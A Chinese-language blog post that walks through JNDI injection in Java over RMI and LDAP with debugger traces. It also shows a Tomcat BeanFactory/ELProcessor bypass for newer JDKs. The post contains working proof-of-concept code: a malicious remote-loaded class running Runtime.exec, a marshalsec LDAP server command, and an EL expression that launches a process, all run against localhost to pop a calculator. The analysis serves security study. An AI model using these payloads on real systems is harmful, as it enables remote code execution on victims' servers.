JNDI注入分析
JNDI介绍
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。其中Naming Service类似于哈希表的K/V对,通过名称去获取对应的服务。Directory Service是一种特殊的Naming Service,用类似目录的方式来存取服务。
从介绍看可以知道JNDI分为四种服务
- RMI
- LDAP
- DNS
- CORBA
RMI之前已经分析过了,今天就来研究剩下的服务
JNDI的简单应用
以rmi为例子,我们先准备rmi的服务端,然后再创建JNDI的服务端与客户端,这里用marshalsec-0.0.3-SNAPSHOT-all.jar
搭建的rmi服务
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
public class JNDIRmiServer {
public static void main(String[] args) throws NamingException {
// 创建一个上下文对象
InitialContext context = new InitialContext();
// 创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址
Reference ref = new Reference("evilref", "evilref", "http://127.0.0.1:8888/");
context.rebind("rmi://127.0.0.1:1099/evilref", ref);
}
}
import java.io.IOException;
public class evilref {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIRmiClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/evilref");
}
}
成功弹出计算器
在这个过程中lookup实际上就是去寻找了我们自定义的引用对象Ref,然后实例化触发了calc
发现上面的JNDI服务端根本没用到.....
JNDI注入--RMI
lookup处打个断点
调用里面的lookup,而这个lookup实际上指的是GenericURLContext#lookup
,这次JNDI调用的是RMI服务,因此进入到了GenericURLContext,对应不同的服务contenxt也会不同,继续跟进
继续跟进lookup
这里又进入lookup,不过这个lookup是注册中心的lookup,我们在讲RMI的时候分析过,这是一个潜在的反序列化漏洞点,略过这里,进入decodeObject
本来我们传入的object是一个引用类型,到这里变成了引用Wrapper,再结合方法的名字,可以判断在JNDI服务端可能做了一层"加密",我们客户端先停在这里,我们调试一下服务端,同样进入rebind
跟bind一样进入GenericURLContext
进入rebind
又是注册Registry的rebind方法,可以看到这里确实进行了encode
返回客户端,进入decodeObject
跟进getObjectInstance方法
refInfo是引用类型,所以进入getObjectFactoryFromReference
获取对象工厂,跟进
可以看到我们的自定义ref引用进来了,通过loadClass进行加载,远程加载并且实例化
这里需注意jdk版本,jdk8u121之后就修复了这个远程加载恶意类
修复方案
在2016年后对RMI对应的context进行了修复,添加了判断条件,JDK 6u45、7u21后,java.rmi.server.useCodebaseOnly 的值默认为true。也就没法进入getObjectInstance了
JNDI注入--LDAP
虽然Java设计师修复了RMI,但是发现这个漏洞的师傅简单挖挖又发现了ldap也能JNDI注入(,分析一下,笔者所用jdk版本8u65
LDAP介绍
啥是ldap服务呢,可以把ldap理解为一个储存协议的数据库,它分为DN DC CN OU
四个部分
树层次分为以下几层:
- dn:一条记录的详细位置,由以下几种属性组成
- dc: 一条记录所属区域(哪一个树,相当于MYSQL的数据库)
- ou:一条记录所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
- cn/uid:一条记录的名字/ID(树的叶节点的编号,相当于MYSQL的表主键)
LDAP创建
还是使用 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#evilref 1099
,这样LDAP就启动了
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDILDAPClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1099/evilref");
}
}
流程分析
还是在lookup打断点跟进,进入ldapURLContext
进入父类的lookup,来到GenericURLContext
继续跟进lookup,来到PartialCompositeContext
继续跟进var2.p_lookup
再进入c_lookup
往下看也是进入了decodeObject
往下走进入decodeReference
进入Reference
,往下走,来到这,眼熟的很,跟rmi一样的操作
跟进这个对象工厂,loadClass
远程加载恶意类并实例化
JNDI注入--RMI高版本绕过
换个高版本的jdk,我使用jdk8u202,简单跑一下,可以发现弹不了计算器了
经过一系列的构式调试,进到最后,这里有个判断,阻止了我们实例化类
那么我们怎么绕过这个呢?我们关键的方法是NamingManager#getObjectFactoryFromReference
到上面实例化的地方,我们的类其实已经被加载初始化了,所以我们只需要找到继承ObjectFactory
的类,因为这样会调用getObjectFactoryFromReference
我们找到BeanFactory
,这个是在tomcat的依赖包中,我们添加依赖:
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
</dependencies>
然后就能找到BeanFactory
了,这里存在反射调用method
构造一下服务端:
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRmiServer {
public static void main(String[] args) throws NamingException {
try{
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIRmiClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:1099/calc");
}
}
成功弹出计算器
流程分析
还是lookup打断点,直接定位到getObjectFactoryFromReference
跟进到loadClass,可以发现factoryName是BeanFactory
继续跟进,出来后,进去factory.getObjectInstance
这里获取forceString的值
这里取到eval
这里获取我们写入的恶意代码,value,然后invoke执行
到此分析结束
JNDI注入分析的更多相关文章
- Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...
- Java EE中的容器和注入分析,历史与未来
Java EE中的容器和注入分析,历史与未来 java中的容器 java中的注入 容器和注入的历史和展望 一.java中的容器 java EE中的注入,使我们定义的对象能够获取对资源和其他依赖项的引用 ...
- 浅析JNDI注入Bypass
之前在Veracode的这篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到对于JDK 1.8.0 ...
- Java安全之JNDI注入
Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...
- javasec(八)jndi注入
JNDI JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式 ...
- 技能提升丨Seacms 8.7版本SQL注入分析
有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解.其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注 ...
- phpcms9.6 注入分析
phpcms9.6 注入分析 漏洞促发点\phpcms\modules\content\down.php $a_k = trim($_GET['a_k']); if(!isset($a_k)) sho ...
- 帝国CMS(EmpireCMS) v7.5 代码注入分析(CVE-2018-19462)
帝国CMS(EmpireCMS) v7.5 代码注入分析(CVE-2018-19462) 一.漏洞描述 EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞.该漏 ...
- JNDI注入与反序列化学习总结
0x01.java RMI RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定 ...
- JNDI注入基础
JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...
随机推荐
- 《深入理解Java虚拟机》(三)类加载机制
@ 目录 1.什么是类的加载 2.类加载的过程 加载 连接 验证 文件格式验证 元数据验证 字节码验证 符号引用验证 准备 解析: 类或接口的解析 字段解析 类方法解析 接口方法解析 初始化 结束生命 ...
- SSL/TLS 资料整理
1. HTTPS详解二:SSL / TLS 工作原理和详细握手过程 看到另外几篇介绍不错的文章,再次分享一下 园内大佬写的, 通过一个小故事,理解 HTTPS 工作原理 这篇博文已经把 SSL 的工作 ...
- QT - Day 3
对话框 分类 模态对话框 QDialog dlg(this); dlg.resize(200,100); dlg.exec(); //窗口阻塞 非模态对话框 QDialog *dlg2 = new Q ...
- go语言中的数据类型
数据类型可分为四类 基础类型 数字.字符串和布尔型 复合类型 数组.结构体 引用类型 指针.切片.map.函数.通道channel 接口类型 interface
- django中如果不是第一次迁移的时候就配置AUTH_USER_MODEL(用来告知django认证系统识别我们自定义的模型类),那么该如何解决才能让django的认证系统识别且不会报未知错误?
Django认证系统中提供的用户模型类及方法很方便,我们可以使用这个模型类,但是字段有些无法满足项目需求,如还需要保存用户的手机号,需要给模型类添加额外的字段. Django提供了django.con ...
- mac上安装vue
安装node.js brew install nodejs node -v #查看版本 给nodejs模块安装目录设置访问权限 sudo chmod -R 777 /usr/local/lib/nod ...
- java学生管理系统(界面版)
运行截图 项目说明: 本系统界面我个人就从简设计了,本来打算使用windowbuilder插件设计的,可想到使用windowbuilder插件之后导致代码冗余,会影响到代码可读性,可能对小白不友好.虽 ...
- 通过命令修改git提交的注释信息
1.修改最新一条 commit 注释信息 通过 git commit --amend 命令修改注释信息,然后:wq 进行保存,再重新提交 2. 修改多条 commit 注释信息 输入命令:git re ...
- Springboot 撞上 NebulaGraph——NGbatis 初体验
本文首发于 NebulaGraph 公众号 https://mp.weixin.qq.com/s/z56o6AEz1Z4RmS8Zdx6dTA 大家好,我是开源项目 NGbatis 的发起人大叶(Co ...
- .Net之配置文件自定义
前文讲获取配置文件内容的时候,是获取默认的appsettings.json配置文件的配置,下面说明下如何进行自定义配置文件获取 1. Json Provider 1.1 构建独立的IConfigura ...